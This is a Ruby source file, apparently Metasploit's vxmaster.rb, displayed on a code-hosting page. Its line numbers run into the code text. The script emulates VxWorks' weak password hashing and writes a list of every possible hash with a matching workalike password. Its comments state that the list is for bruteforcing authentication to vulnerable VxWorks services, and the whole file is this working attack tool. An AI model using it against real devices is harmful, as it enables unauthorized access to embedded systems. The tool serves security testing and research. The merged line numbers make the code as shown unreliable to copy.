Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/tools/password/vxmaster.rb
Views: 11767
#!/usr/bin/env ruby12#3# This script calculates all possible password hashes for the vxworks platform.4# The generated list can be used to bruteforce authentication to any service5# using the vulnerable password hashing mechanism on the backend.6#7# (C) 2010 Rapid78#910#11# VxWorks converts the clear-text password into single integer value. This value12# can only be one of about 210,000 possible options. The method below emulates13# what the vxencrypt utility does and was implemented based on publicly indexed14# documentation and source code snippets.15#1617#18# XXX: Newer VxWorks can use passwords up to 120 characters long, but this is19# not very common in the wild.20#2122def vxworks_sum_from_pass(pass)23if pass.length < 8 or pass.length > 4024raise RuntimeError, "too short or too long"25end2627sum = 028bytes = pass.unpack("C*")29bytes.each_index {|i| sum += (bytes[i] * (i + 1)) ^ (i + 1) }30sum31end3233# VxWorks does a final round of "mangling" on the generated additive sum. This34# mangle process does not add any additional security to the hashing mechanism35def vxworks_hash_from_sum(sum)36magic = 3169531737res = ((sum * magic) & 0xffffffff).to_s38res.unpack("C*").map{ |c|39c += 0x21 if c < 0x3340c += 0x2f if c < 0x3741c += 0x42 if c < 0x3942c43}.pack("C*")44end4546# This method tries to find an exact match for a given sum. This is inefficient,47# but the master password only needs to be precomputed once.48def vxworks_pass_from_sum_refine(sum, bsum, pass)490.upto(pass.length-1) do |i|50tpass = pass.dup51while ( tpass[i, 1].unpack("C*")[0] > 0x21 )52tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] - 1 ].pack("C")53bsum = vxworks_sum_from_pass(tpass)54if bsum == sum55return tpass56end57end58end590.upto(pass.length-1) do |i|60tpass = pass.dup61while ( tpass[i, 1].unpack("C*")[0] < 0x7c )62tpass[i, 1] = [ tpass[i, 1].unpack("C*")[0] + 1 ].pack("C")63bsum = vxworks_sum_from_pass(tpass)64if bsum == sum65return tpass66end67end68end69"<failed>"70end7172# This method locates a "workalike" password that matches a given73# intermediate additive sum value.74def vxworks_pass_from_sum(sum, lpass=nil)75opass = lpass || "\x20" * 876pass = opass.dup77fmax = (sum > 10000) ? 0xff : 0x7b78pidx = 079pcnt = pass[0,1].unpack("C*")[0]80more = false8182bsum = vxworks_sum_from_pass(pass)83if bsum > sum84return "<invalid>"85end8687while bsum != sum8889if bsum > sum90return vxworks_pass_from_sum_refine(sum, bsum, pass)91end9293if pcnt > fmax94pidx += 19596if pidx == (pass.length)97pass += " "98end99pcnt = pass[pidx, 1].unpack("C")[0]100end101102pass[pidx,1] = [ pcnt ].pack("C")103bsum = vxworks_sum_from_pass(pass)104pcnt += 1105end106pass107end108109outputfile = ARGV.shift() || "masterpasswords.txt"110111# Create the master password list output file112ofd = File.open(outputfile, "wb")113114# Generate a wide range of "seeds" - the goal is to create a115# workalike password with the smallest number of characters,116# but still be printable when possible.117118seedsets = []119120seeds = []1218.upto(8) do |slen|1220x23.upto(0x7c) do |cset|123sbase = [cset].pack("C") * slen124seeds << [ vxworks_sum_from_pass(sbase), sbase ]125end126end127seedsets << seeds128129seeds = []1308.upto(12) do |slen|1310x23.upto(0x7c) do |cset|132sbase = [cset].pack("C") * slen133seeds << [ vxworks_sum_from_pass(sbase), sbase ]134end135end136seedsets << seeds137138seeds = []1398.upto(16) do |slen|1400x23.upto(0xf0) do |cset|141sbase = [cset].pack("C") * slen142seeds << [ vxworks_sum_from_pass(sbase), sbase ]143end144end145seedsets << seeds146147seeds = []1488.upto(16) do |slen|1490x23.upto(0xff) do |cset|150sbase = [cset].pack("C") * slen151seeds << [ vxworks_sum_from_pass(sbase), sbase ]152end153end154seedsets << seeds155156seeds = []1578.upto(40) do |slen|1580x23.upto(0xff) do |cset|159sbase = [cset].pack("C") * slen160seeds << [ vxworks_sum_from_pass(sbase), sbase ]161end162end163seedsets << seeds164165# Calculate passwords and their hashes for all possible outputs1661.upto(209656) do |i|167found = false168seedsets.each do |seeds|169lhash = nil170seeds.reverse.each do |s|171if i > (s[0] + 1000)172lhash = s[1]173break174end175end176177hash = vxworks_hash_from_sum(i)178pass = vxworks_pass_from_sum(i, lhash)179180puts "[*] Generated #{i} of 209656 passwords..." if (i % 1000 == 0)181# The first 1187 passwords are not very likely to occur and we skip182# generation. These are "sums" that result in a value lesss than a183# 8 digit password of all spaces.184185if i > 1187 and pass =~ /<.*>/186# p "#{i} SEED '#{lhash}' => '#{hash}' => '#{pass}'"187next188end189ofd.puts "#{i}|#{hash}|#{pass}\x00"190found = true191break192end193194if not found195puts "FAILED TO GENERATE #{i}"196exit(0)197end198end199200201